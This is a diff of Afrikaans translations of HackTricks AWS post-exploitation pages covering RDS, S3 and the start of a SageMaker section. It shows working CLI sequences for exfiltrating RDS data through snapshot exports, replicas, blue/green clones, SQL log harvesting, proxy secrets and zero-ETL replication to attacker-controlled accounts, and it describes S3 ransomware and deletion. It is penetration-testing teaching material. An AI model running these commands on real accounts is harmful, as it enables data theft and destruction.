'n Aanvaller met hierdie toestemming kan **'n RDS-instansie snapshot na 'n S3 bucket uitvoer**. As die aanvaller beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data binne die uitgevoerde snapshot.
|
||||
'n attacker met hierdie toestemming kan **'n RDS-instansie-snapshot na 'n S3-bucket uitvoer**. As die attacker beheer oor die bestemming S3-bucket het, kan hulle moontlik toegang tot sensitiewe data binne die uitgevoerde snapshot kry.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgevoerde snapshot.
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgeëxporteerde snapshot.
|
||||
|
||||
### Cross-Region geoutomatiseerde backups-replikasie vir stil herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Kruis-Region Outomatiese Rugsteunreplikasie vir Sluip-herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Misbruik Cross-Region geoutomatiseerde backups-replikasie om stilweg 'n RDS-instantie se geoutomatiseerde backups in 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite die normale monitering in 'n Region wat verdedigers dalk nie monitor nie, te bekom.
|
||||
Misbruik kruis-Region outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteun na 'n ander AWS Region te dupliseer en dit daar te herstel. Die aanvaller kan dan die herstelde DB publieklik toeganklik maak en die hoofwagwoord terugstel om data out-of-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (opsionele opruiming)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (om die herstelde DB bloot te stel)
|
||||
|
||||
Impact: Persistensie en data-eksfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar beskikbaar te maak met aanvaller-beheerde inlogbewyse.
|
||||
Impak: Persistensie en data-ekstraksie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit publieklik bloot te stel met deur die aanvaller beheerde geloofsbriewe.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (vervang plekhouers)</summary>
|
||||
<summary>End-tot-end CLI (vervang plekhouers)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Skakel volledige SQL-logging in via DB parameter groups en exfiltrate via RDS log APIs
|
||||
### Skakel volledige SQL-logging aan via DB-parameter-groepe en eksfiltreer via RDS log APIs
|
||||
|
||||
Abuse `rds:ModifyDBParameterGroup` met RDS log download APIs om alle SQL-stellings wat deur toepassings uitgevoer word vas te vang (geen DB engine credentials nodig nie). Skakel engine SQL-logging aan en haal die loglêers via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries te versamel wat moontlik secrets/PII/JWTs bevat.
|
||||
Misbruik `rds:ModifyDBParameterGroup` saam met RDS log-aflaai-APIs om alle SQL-opdragte wat deur toepassings uitgevoer word vas te vang (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die lêerlogs af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om navrae te versamel wat moontlik secrets/PII/JWTs bevat.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Permissies benodig (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (slegs om 'n pasgemaakte parameter-groep aan te heg as die instansie die standaard een gebruik)
|
||||
- `rds:RebootDBInstance` (vir parameters wat 'n reboot benodig, bv. PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
Stappe
|
||||
1) Recon die teiken en die huidige parameter-groep
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Verseker dat 'n aangepaste DB parameter group aangeheg is (kan nie die verstek wysig nie)
|
||||
- As die instansie reeds 'n aangepaste groep gebruik, hergebruik sy naam in die volgende stap.
|
||||
- Anders skep en heg een aan wat by die engine family pas:
|
||||
2) Verseker dat 'n custom DB parameter group aangeheg is (kan nie die default wysig nie)
|
||||
- Indien die instance reeds 'n custom group gebruik, hergebruik sy naam in die volgende stap.
|
||||
- Anders skep en heg een aan wat ooreenstem met die engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,8 +232,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Skakel uitgebreide SQL-logging in
|
||||
- MySQL engines (onmiddellik / geen herbegin):
|
||||
3) Skakel uitgebreide SQL-logging aan
|
||||
- MySQL enjinne (onmiddellik / geen herbegin):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL enjins (herbegin vereis):
|
||||
- PostgreSQL enjins (reboot required):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Laat die workload hardloop (of genereer queries). Statements sal na engine file logs geskryf word
|
||||
4) Laat die werkvrag loop (of genereer navrae). Statements sal na engine-lêerloge geskryf word
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Ontdek en laai logs af (geen DB creds benodig)
|
||||
5) Ontdek en laai loglêers af (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +271,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analiseer aflyn vir sensitiewe data
|
||||
6) Ontleed aflyn vir gevoelige data
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -282,7 +282,7 @@ Voorbeeldbewyse (gesensureer):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Opruiming
|
||||
- Stel parameters terug na verstekwaardes en herbegin indien nodig:
|
||||
- Stel parameters terug na verstek en herbegin indien nodig:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impak: Post-exploitation data-toegang deur alle toepassings SQL-statemente vas te vang via AWS APIs (geen DB creds), moontlik leak van secrets, JWTs, en PII.
|
||||
Impak: Post-exploitation-toegang tot data deur alle toepassing se SQL-stellings via AWS APIs vas te vang (no DB creds), potensieel leaking van secrets, JWTs en PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Misbruik RDS read replicas om out-of-band lees-toegang te verkry sonder om die primêre instansie se credentials aan te raak. ’n aanvaller kan ’n read replica vanaf ’n produksie-instansie skep, die replica se master-wagwoord terugstel (dit verander nie die primêre nie), en opsioneel die replica publiek blootstel om data te exfiltrate.
|
||||
Misbruik RDS read replicas om out-of-band read access te kry sonder om die primary instance credentials aan te raak. 'n aanvaller kan 'n read replica vanaf 'n production instance skep, die replica se master password terugstel (dit verander nie die primary nie), en opsioneel die replica publiek blootstel om data te exfiltrate.
|
||||
|
||||
Vereiste permissies (minimaal):
|
||||
Vereiste permissies (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as jy dit publiek blootstel)
|
||||
|
||||
Impak: Read-only toegang tot produksiedata via ’n replica met credentials wat deur die aanvaller beheer word; laer waarskynlikheid van opsporing aangesien die primêre onaangeraak bly en replikasie voortgaan.
|
||||
Impak: Read-only toegang tot production data via 'n replica met aanvaller-beheerde credentials; laer waarskynlikheid van opsporing aangesien die primary onaangeraak bly en replisering voortgaan.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -342,11 +342,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Voorbeeldbewyse (MySQL):
|
||||
- Replica DB-status: `available`, leesreplikasie: `replicating`
|
||||
- Suksesvolle konneksie met nuwe wagwoord en `@@read_only=1` wat lees-alleen replica-toegang bevestig.
|
||||
- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat lees-slegs replica-toegang bevestig.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Misbruik RDS Blue/Green om 'n produksie-DB te kloon na 'n deurlopend gerepliseerde, lees-alleen green-omgewing. Herstel dan die green master-kredensiale om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Dit is meer sluipend as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is.
|
||||
Misbruik RDS Blue/Green om 'n produksie DB te kloon na 'n deurlopend gereplikeerde, lees-slegs green omgewing. Stel dan die green master credentials terug om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Dit is meer onopvallend as snapshot sharing en omseil dikwels monitering wat slegs op die bron fokus.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,19 +393,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impak: Slegs-lees, maar volle data-toegang tot 'n byna-regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir sluipende data-ekstraksie en vanlyn-ontleding.
|
||||
Impak: Slegs-lees, maar volle toegang tot data in 'n byna-reële-tyd-kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stealthy data-uittrekking en aflyn-analise.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
### Out-of-band SQL via RDS Data API deur die HTTP-endpoint in te skakel + die master password terug te stel
|
||||
|
||||
Misbruik Aurora om die RDS Data API HTTP endpoint op 'n teikencluster te aktiveer, stel die master-wagwoord terug na 'n waarde wat jy beheer, en voer SQL oor HTTPS uit (geen VPC netwerkrpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
|
||||
Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord na 'n waarde wat jy beheer terug te stel, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werks op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
|
||||
|
||||
Permissies (minimum):
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impak: Omseil netwerkssegmentering en exfiltreer data via AWS APIs sonder direkte VPC-verbinding na die DB.
|
||||
Impak: Omseil netwerksegmentering en exfiltrate data via AWS APIs sonder direkte VPC-verbinding na die DB.
|
||||
|
||||
<details>
|
||||
<summary>Einde-tot-einde CLI (Aurora MySQL voorbeeld)</summary>
|
||||
@@ -461,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Aantekeninge:
|
||||
- As multi-statement SQL deur rds-data verwerp word, maak afsonderlike execute-statement-oproepe.
|
||||
- As multi-statement SQL deur rds-data geweier word, voer afsonderlike execute-statement-oproepe uit.
|
||||
- Vir engines waar modify-db-cluster --enable-http-endpoint geen effek het nie, gebruik rds enable-http-endpoint --resource-arn.
|
||||
- Maak seker die engine/weergawe ondersteun werklik die Data API; anders sal HttpEndpointEnabled False bly.
|
||||
- Maak seker die engine/version ondersteun eintlik die Data API; anders sal HttpEndpointEnabled False bly.
|
||||
|
||||
|
||||
### Verkry DB-geloofsbriewe via RDS Proxy auth-geheime (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Onttrek DB-credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Misbruik RDS Proxy-konfigurasie om die Secrets Manager secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die secret om databasisgeloofsbriewe te bekom. Baie omgewings verleen wye `secretsmanager:GetSecretValue`, wat dit 'n low-friction pivot na DB-geloofsbriewe maak. As die secret 'n CMK gebruik, kan verkeerd gespesifiseerde KMS-toestemmings ook `kms:Decrypt` toelaat.
|
||||
Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te vind, en lees dan die secret om database credentials te kry. Baie omgewings gee wye `secretsmanager:GetSecretValue`-toestemmings, wat dit 'n lae-wrywing pivot na DB-creds maak. As die secret 'n CMK gebruik, kan verkeerd-geskopte KMS-permissies ook `kms:Decrypt` toelaat.
|
||||
|
||||
Benodigde toestemmings (minimum):
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` op die verwysde SecretArn
|
||||
- Opsioneel wanneer die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel
|
||||
- `secretsmanager:GetSecretValue` op die genoemde SecretArn
|
||||
- Opsioneel indien die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel
|
||||
|
||||
Impak: Onmiddellike openbaarmaking van die DB-gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere lateral movement moontlik.
|
||||
Impak: Onmiddellike openbaarmaking van die DB gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere laterale beweging moontlik.
|
||||
|
||||
Stappe
|
||||
```bash
|
||||
@@ -490,7 +490,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratorium (minimaal om te herproduseer)
|
||||
Lab (minimaal om te reproduseer)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -518,18 +518,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
|
||||
```
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend te repliseer in 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna real‑time datakopie opstel sonder DB creds, snapshots of netwerkblootstelling.
|
||||
Misbruik Aurora PostgreSQL zero‑ETL-integrasie om produksiedata deurlopend te repliseer na 'n Redshift Serverless-naamruimte wat jy beheer. Met 'n permissiewe Redshift hulpbronbeleid wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna regstreekse datakopie tot stand bring sonder DB creds, snapshots of netwerke-ontblootstelling.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (om navrae uit te voer)
|
||||
- `rds-data:ExecuteStatement` (opsioneel; om data in te saai indien nodig)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Skep Redshift Serverless namespace + workgroup</summary>
|
||||
<summary>1) Skep Redshift Serverless naamruimte + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -545,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Konfigureer Redshift hulpbronbeleid om die Aurora-bron toe te laat</summary>
|
||||
<summary>2) Konfigureer die Redshift hulpbronbeleid om die Aurora-bron toe te laat</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -607,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Skep die zero‑ETL-integrasie van RDS</summary>
|
||||
<summary>4) Skep die zero‑ETL integrasie vanaf RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -619,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materialiseer en doen navraag oor gerepliseerde data in Redshift</summary>
|
||||
<summary>5) Materialiseer en voer navrae uit op gerepliseerde data in Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -634,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Bewyse waargeneem tydens die toets:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon voordat die DB geskep is.
|
||||
- Na CREATE DATABASE FROM INTEGRATION het die lys van tabelle die schema ztl en die tabel customers gewys; selecting from ztl.customers het 2 rye teruggegee (Alice, Bob).
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
|
||||
Impak: Deurlopende byna regstreekse exfiltration van geselekteerde Aurora PostgreSQL-tabelle na Redshift Serverless wat deur die aanvalvoerder beheer word, sonder om database credentials, backups of network access tot die bronkluster te gebruik.
|
||||
Impak: Aanhoudende byna‑regstreekse exfiltration van geselekteerde Aurora PostgreSQL‑tabelle na Redshift Serverless wat deur die aanvaller beheer word, sonder die gebruik van databasisbewyse, rugsteune of netwerktoegang tot die bronkluster.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+12
-12
@@ -1,4 +1,4 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
# AWS - S3 Post Eksploitasie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,26 +16,26 @@ Soms sal jy sensitiewe inligting vind wat leesbaar is in die buckets. Byvoorbeel
|
||||
|
||||
### Pivoting
|
||||
|
||||
Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.
|
||||
Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 gedien word. 'n aanvaller met skryftoestemmings kan die **code** in die bucket **wysig** om na ander platforms te **pivot**, of rekeninge te **takeover** deur JS-lêers te wysig.
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **webbladsye** kan direk vanaf S3 gedien word. 'n Aanvaller met skryfpermissies kan die **code** in die bucket wysig om na ander platforms te **pivot**, of **takeover accounts** deur JS-lêers te wysig.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) key in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak hierdie **key vir enigiemand in die wêreld toeganklik**, wat enige AWS user, role, of account toelaat om objects met hierdie sleutel te enkripteer. Die objects kan egter nie gedekripteer word nie.
|
||||
In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) key in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak vervolgens hierdie **key toeganglik vir enigiemand in die wêreld**, wat enige AWS user, role, of account toelaat om objects met hierdie key te enkripteer. Die objects kan egter nie gedekripsieer word nie.
|
||||
|
||||
Die aanvaller identifiseer 'n teiken **S3 bucket en kry write-level toegang** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak bucket-konfigurasie wat dit publiek blootstel, of omdat die aanvaller toegang tot die AWS-omgewing self verkry het. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
|
||||
Die aanvaller identifiseer 'n teiken **S3 bucket and gains write-level access** daartoe deur verskeie metodes. Dit kan te wyte wees aan swak bucket-konfigurasie wat dit publiek blootstel of daaraan dat die aanvaller toegang tot die AWS environment self kry. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
|
||||
|
||||
Om te bepaal of die bucket vir ransomware geteiken kan word, kyk die aanvaller na die konfigurasie. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete)** geaktiveer is. As Object Versioning nie geaktiveer is nie, kan die aanvaller voortgaan. As Object Versioning geaktiveer is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete geaktiveer is, raak dit moeiliker vir die aanvaller om daardie spesifieke bucket met ransomware te teiken.
|
||||
Om te bepaal of die bucket vir ransomware geteiken kan word, kontroleer die aanvaller die konfigurasie. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete) is enabled**. As Object Versioning nie geaktiveer is nie, kan die aanvaller voortgaan. As Object Versioning geaktiveer is maar MFA delete disabled is, kan die aanvaller **disable Object Versioning**. As beide Object Versioning en MFA delete geaktiveer is, word dit moeiliker vir die aanvaller om daardie spesifieke bucket te ransomware.
|
||||
|
||||
Deur die **AWS API** te gebruik, vervang die aanvaller elke object in die bucket met 'n encrypted copy wat hul KMS key gebruik. Dit enkripteer effektief die data in die bucket, wat dit ontoeganklik maak sonder die sleutel.
|
||||
Deur die AWS API te gebruik, **vervang die aanvaller elke object in die bucket met 'n encrypted copy using their KMS key**. Dit enkripteer effens die data in die bucket en maak dit ontoeganklik sonder die key.
|
||||
|
||||
Om nog meer druk te plaas, skeduleer die aanvaller die verwydering van die KMS key wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore is.
|
||||
Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS key wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die key verwyder word en die data permanent verlore gaan.
|
||||
|
||||
Laastens kan die aanvaller 'n finale lêer oplaaI, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers te herwin. Hierdie lêer word onversleuteld opgelaaI, waarskynlik om die aandag van die teiken te trek en hulle bewus te maak van die ransomware-aanval.
|
||||
Laastens kan die aanvaller 'n finale lêer oplaai, gewoonlik met die naam "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul files te herstel. Hierdie lêer word without encryption opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
'n Aanvaller met die s3:RestoreObject toestemming kan objects wat in Glacier of Deep Archive geargiveer is weer aktiveer, wat hulle tydelik toeganklik maak. Dit stel in staat tot recovery en exfiltration van histories-gearchiveerde data (backups, snapshots, logs, certifications, old secrets) wat normaalweg buite bereik sou wees. As die aanvaller hierdie toestemming kombineer met read permissions (bv., s3:GetObject), kan hulle volle kopieë van sensitiewe data bekom.
|
||||
'n Aanvaller met die s3:RestoreObject permission kan voorwerpe wat in Glacier of Deep Archive gearchiveer is heraktiveer, wat hulle tydelik toeganklik maak. Dit maak recovery en exfiltration van histories gearchiveerde data (backups, snapshots, logs, certifications, old secrets) moontlik wat normaalweg buite bereik sou wees. As die aanvaller hierdie permission kombineer met leespermissies (bv., s3:GetObject), kan hulle volle kopieë van sensitiewe data verkry.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -47,7 +47,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Een aanvaller met die s3:Delete* toestemming kan objects, versions en hele buckets uitvee, backups ontwrig, en onmiddellike en onomkeerbare dataverlies veroorsaak, vernietiging van bewyse, en kompromittering van backup- of recovery-artefakte.
|
||||
'n Aanvaller met die s3:Delete* regte kan objects, versions en hele buckets uitvee, rugsteune ontwrig, en onmiddellike en onomkeerbare dataverlies, vernietiging van bewyse, en kompromittering van rugsteun- of herstelartefakte veroorsaak.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -64,6 +64,6 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Vir meer inligting** [**sien die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Vir meer inligting** [**bekyk die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-30
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
## SageMaker endpoint dataaftapping via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Misbruik SageMaker endpoint-bestuur om volle request/response-opname na 'n deur die aanvaller beheerde S3 bucket te aktiveer sonder om die model of container aan te raak. Gebruik 'n zero/low‑downtime rolling update en vereis slegs endpoint-bestuurspermisse.
|
||||
Misbruik SageMaker endpoint-bestuur om volledige aanvraag/antwoord-opname na 'n deur die aanvaller beheerde S3 bucket moontlik te maak sonder om die model of container aan te raak. Gebruik 'n nul/laag‑afbreektyd rollende opdatering en vereis slegs endpoint‑bestuursregte.
|
||||
|
||||
### Vereistes
|
||||
